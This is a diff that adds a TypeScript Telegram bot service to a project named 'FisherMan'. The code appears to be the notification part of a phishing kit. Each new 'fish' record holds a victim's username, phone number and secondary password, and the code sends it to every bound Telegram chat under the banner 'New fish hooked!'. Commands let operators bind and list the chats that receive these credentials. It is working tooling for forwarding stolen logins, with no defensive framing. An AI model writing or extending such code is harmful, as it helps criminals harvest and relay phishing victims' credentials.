|
|
@@ -0,0 +1,268 @@
|
|
|
+import { Telegraf } from 'telegraf'
|
|
|
+import { Fish } from '../entities/fish.entity'
|
|
|
+import { ConfigType } from '../entities/sys-config.entity'
|
|
|
+import { SysConfig } from '../entities/sys-config.entity'
|
|
|
+import { Repository } from 'typeorm'
|
|
|
+import { createApp } from '../app'
|
|
|
+
|
|
|
+export class BotService {
|
|
|
+ private static _instance: BotService
|
|
|
+
|
|
|
+ public static get instance(): BotService {
|
|
|
+ if (!this._instance) {
|
|
|
+ this._instance = new BotService()
|
|
|
+ }
|
|
|
+ return this._instance
|
|
|
+ }
|
|
|
+
|
|
|
+ private bot: Telegraf
|
|
|
+ private sysConfigRepository: Repository<SysConfig>
|
|
|
+ private app: any
|
|
|
+
|
|
|
+ private constructor() {
|
|
|
+ this.initializeApp()
|
|
|
+ }
|
|
|
+
|
|
|
+ private async initializeApp() {
|
|
|
+ try {
|
|
|
+ this.app = await createApp()
|
|
|
+ this.sysConfigRepository = this.app.dataSource.getRepository(SysConfig)
|
|
|
+
|
|
|
+ // 检查 BOT_TOKEN 是否存在
|
|
|
+ if (!this.app.config.BOT_TOKEN) {
|
|
|
+ console.warn('BOT_TOKEN 未配置,跳过 Telegram Bot 初始化')
|
|
|
+ return
|
|
|
+ }
|
|
|
+
|
|
|
+ this.bot = new Telegraf(this.app.config.BOT_TOKEN, {})
|
|
|
+ this.setupCommands()
|
|
|
+
|
|
|
+ // 添加启动错误处理
|
|
|
+ this.bot.launch().catch(error => {
|
|
|
+ console.error('Telegram Bot 启动失败:', error.message)
|
|
|
+ console.error('请检查网络连接和 BOT_TOKEN 是否正确')
|
|
|
+ })
|
|
|
+
|
|
|
+ console.log('Telegram bot started')
|
|
|
+ } catch (error) {
|
|
|
+ console.error('BotService 初始化失败:', error)
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ private setupCommands(): void {
|
|
|
+ this.bot.start(ctx => ctx.reply('欢迎使用FisherMan!'))
|
|
|
+
|
|
|
+ this.bot.command('id', ctx => {
|
|
|
+ const chatId = ctx.chat?.id
|
|
|
+
|
|
|
+ const message = `聊天ID: <code>${chatId}</code>\n`
|
|
|
+
|
|
|
+ ctx.reply(message, { parse_mode: 'HTML' })
|
|
|
+ })
|
|
|
+
|
|
|
+ this.bot.command('bind', async ctx => {
|
|
|
+ const chatId = ctx.chat?.id
|
|
|
+ if (!chatId) {
|
|
|
+ return ctx.reply('❌ 无法获取聊天ID')
|
|
|
+ }
|
|
|
+
|
|
|
+ try {
|
|
|
+ await this.bindChatId(chatId.toString())
|
|
|
+ const chatTitle = (ctx.chat as any)?.title || ctx.from?.first_name || '未知'
|
|
|
+ ctx.reply(`✅ 成功绑定聊天:${chatTitle} (ID: ${chatId})`)
|
|
|
+ } catch (error) {
|
|
|
+ this.app.log.error(error, 'bind command error')
|
|
|
+ ctx.reply('❌ 绑定失败,请稍后重试')
|
|
|
+ }
|
|
|
+ })
|
|
|
+
|
|
|
+ this.bot.command('unbind', async ctx => {
|
|
|
+ const chatId = ctx.chat?.id
|
|
|
+ if (!chatId) {
|
|
|
+ return ctx.reply('❌ 无法获取聊天ID')
|
|
|
+ }
|
|
|
+
|
|
|
+ try {
|
|
|
+ await this.unbindChatId(chatId.toString())
|
|
|
+ const chatTitle = (ctx.chat as any)?.title || ctx.from?.first_name || '未知'
|
|
|
+ ctx.reply(`✅ 成功解绑聊天:${chatTitle} (ID: ${chatId})`)
|
|
|
+ } catch (error) {
|
|
|
+ this.app.log.error(error, 'unbind command error')
|
|
|
+ ctx.reply('❌ 解绑失败,请稍后重试')
|
|
|
+ }
|
|
|
+ })
|
|
|
+
|
|
|
+ this.bot.command('list', async ctx => {
|
|
|
+ try {
|
|
|
+ const chatIdConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
|
|
|
+ if (!chatIdConfig || !chatIdConfig.value.trim()) {
|
|
|
+ return ctx.reply('📋 当前没有绑定的聊天ID')
|
|
|
+ }
|
|
|
+
|
|
|
+ const chatIds = chatIdConfig.value
|
|
|
+ .split(',')
|
|
|
+ .map(id => id.trim())
|
|
|
+ .filter(id => id.length > 0)
|
|
|
+ let message = `📋 <b>已绑定的聊天ID列表</b>\n\n`
|
|
|
+
|
|
|
+ chatIds.forEach((id, index) => {
|
|
|
+ message += `${index + 1}. <code>${id}</code>\n`
|
|
|
+ })
|
|
|
+
|
|
|
+ message += `\n💡 使用 /unbind 命令可以解绑当前聊天`
|
|
|
+
|
|
|
+ ctx.reply(message, { parse_mode: 'HTML' })
|
|
|
+ } catch (error) {
|
|
|
+ this.app.log.error(error, 'list command error')
|
|
|
+ ctx.reply('❌ 获取列表失败,请稍后重试')
|
|
|
+ }
|
|
|
+ })
|
|
|
+
|
|
|
+ this.bot.catch((err: any, ctx) => {
|
|
|
+ this.app.log.error(err, 'bot error')
|
|
|
+ ctx.reply('出错了: ' + err.message)
|
|
|
+ })
|
|
|
+ }
|
|
|
+
|
|
|
+ onStop() {
|
|
|
+ this.app.log.info('stop bot')
|
|
|
+ try {
|
|
|
+ this.bot.stop()
|
|
|
+ } catch (error) {}
|
|
|
+ }
|
|
|
+
|
|
|
+ async sendMessage(chatId: number | string, text: string) {
|
|
|
+ if (!this.bot) {
|
|
|
+ console.warn('Bot 未初始化,无法发送消息')
|
|
|
+ return
|
|
|
+ }
|
|
|
+
|
|
|
+ try {
|
|
|
+ await this.bot.telegram.sendMessage(chatId, text, { parse_mode: 'HTML' })
|
|
|
+ } catch (error) {
|
|
|
+ console.error('发送消息失败:', error)
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ async sendFishNotification(fish: Fish, chatId: number | string) {
|
|
|
+ const text = `🎣 <b>🎉 新鱼上钩!🎉</b>
|
|
|
+
|
|
|
+鱼苗ID: <code>${fish.id}</code>
|
|
|
+用户名: <code>${fish.username || '未设置'}</code>
|
|
|
+手机号: <code>+${fish.phone || '未设置'}</code>
|
|
|
+二级密码: <code>${fish.password || '未设置'}</code>
|
|
|
+上鱼时间: <code>${fish.createdAt.toLocaleString('zh-CN')}</code>`
|
|
|
+
|
|
|
+ await this.sendMessage(chatId, text)
|
|
|
+ }
|
|
|
+
|
|
|
+ async sendFishNotificationToAll(fish: Fish) {
|
|
|
+ if (!this.bot) {
|
|
|
+ console.warn('Bot 未初始化,跳过发送通知')
|
|
|
+ return
|
|
|
+ }
|
|
|
+
|
|
|
+ if (!this.sysConfigRepository) {
|
|
|
+ console.warn('SysConfigRepository 未初始化,跳过发送通知')
|
|
|
+ return
|
|
|
+ }
|
|
|
+
|
|
|
+ try {
|
|
|
+ const chatIdConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
|
|
|
+ if (!chatIdConfig?.value?.trim()) {
|
|
|
+ console.warn('chatId 配置不存在或为空,跳过发送通知')
|
|
|
+ return
|
|
|
+ }
|
|
|
+
|
|
|
+ const chatIds = chatIdConfig.value
|
|
|
+ .split(',')
|
|
|
+ .map(id => id.trim())
|
|
|
+ .filter(id => id.length > 0)
|
|
|
+
|
|
|
+ if (chatIds.length === 0) {
|
|
|
+ console.warn('没有有效的 chatId 配置')
|
|
|
+ return
|
|
|
+ }
|
|
|
+
|
|
|
+ console.log(`准备向 ${chatIds.length} 个聊天发送通知: ${chatIds.join(', ')}`)
|
|
|
+
|
|
|
+ for (const chatId of chatIds) {
|
|
|
+ try {
|
|
|
+ await this.sendFishNotification(fish, chatId)
|
|
|
+ console.log(`成功发送通知到 chatId: ${chatId}`)
|
|
|
+ } catch (error) {
|
|
|
+ console.error(`发送通知到 chatId ${chatId} 失败:`, error)
|
|
|
+ }
|
|
|
+ }
|
|
|
+ } catch (error) {
|
|
|
+ console.error('sendFishNotificationToAll 失败:', error)
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ async bindChatId(chatId: string) {
|
|
|
+ if (!this.sysConfigRepository) {
|
|
|
+ throw new Error('SysConfigRepository 未初始化')
|
|
|
+ }
|
|
|
+
|
|
|
+ const existingConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
|
|
|
+
|
|
|
+ if (existingConfig) {
|
|
|
+ const currentChatIds = existingConfig.value
|
|
|
+ .split(',')
|
|
|
+ .map(id => id.trim())
|
|
|
+ .filter(id => id.length > 0)
|
|
|
+
|
|
|
+ if (currentChatIds.includes(chatId)) {
|
|
|
+ this.app.log.info(`chatId ${chatId} 已存在,跳过绑定`)
|
|
|
+ return
|
|
|
+ }
|
|
|
+
|
|
|
+ currentChatIds.push(chatId)
|
|
|
+ existingConfig.value = currentChatIds.join(',')
|
|
|
+ await this.sysConfigRepository.save(existingConfig)
|
|
|
+ this.app.log.info(`成功更新 chatId 配置,添加: ${chatId}`)
|
|
|
+ } else {
|
|
|
+ const newConfig = this.sysConfigRepository.create({
|
|
|
+ name: 'chatId',
|
|
|
+ value: chatId,
|
|
|
+ remark: 'Telegram 通知接收者聊天ID',
|
|
|
+ type: ConfigType.String
|
|
|
+ })
|
|
|
+ await this.sysConfigRepository.save(newConfig)
|
|
|
+ this.app.log.info(`成功创建 chatId 配置: ${chatId}`)
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ async unbindChatId(chatId: string) {
|
|
|
+ if (!this.sysConfigRepository) {
|
|
|
+ throw new Error('SysConfigRepository 未初始化')
|
|
|
+ }
|
|
|
+
|
|
|
+ const existingConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
|
|
|
+
|
|
|
+ if (!existingConfig) {
|
|
|
+ this.app.log.warn('chatId 配置不存在,无法解绑')
|
|
|
+ return
|
|
|
+ }
|
|
|
+
|
|
|
+ const currentChatIds = existingConfig.value
|
|
|
+ .split(',')
|
|
|
+ .map(id => id.trim())
|
|
|
+ .filter(id => id.length > 0)
|
|
|
+ const filteredChatIds = currentChatIds.filter(id => id !== chatId)
|
|
|
+
|
|
|
+ if (filteredChatIds.length === currentChatIds.length) {
|
|
|
+ this.app.log.info(`chatId ${chatId} 不存在,跳过解绑`)
|
|
|
+ return
|
|
|
+ }
|
|
|
+
|
|
|
+ if (filteredChatIds.length === 0) {
|
|
|
+ await this.sysConfigRepository.remove(existingConfig)
|
|
|
+ this.app.log.info('成功删除 chatId 配置')
|
|
|
+ } else {
|
|
|
+ existingConfig.value = filteredChatIds.join(',')
|
|
|
+ await this.sysConfigRepository.save(existingConfig)
|
|
|
+ this.app.log.info(`成功更新 chatId 配置,移除: ${chatId}`)
|
|
|
+ }
|
|
|
+ }
|
|
|
+}
|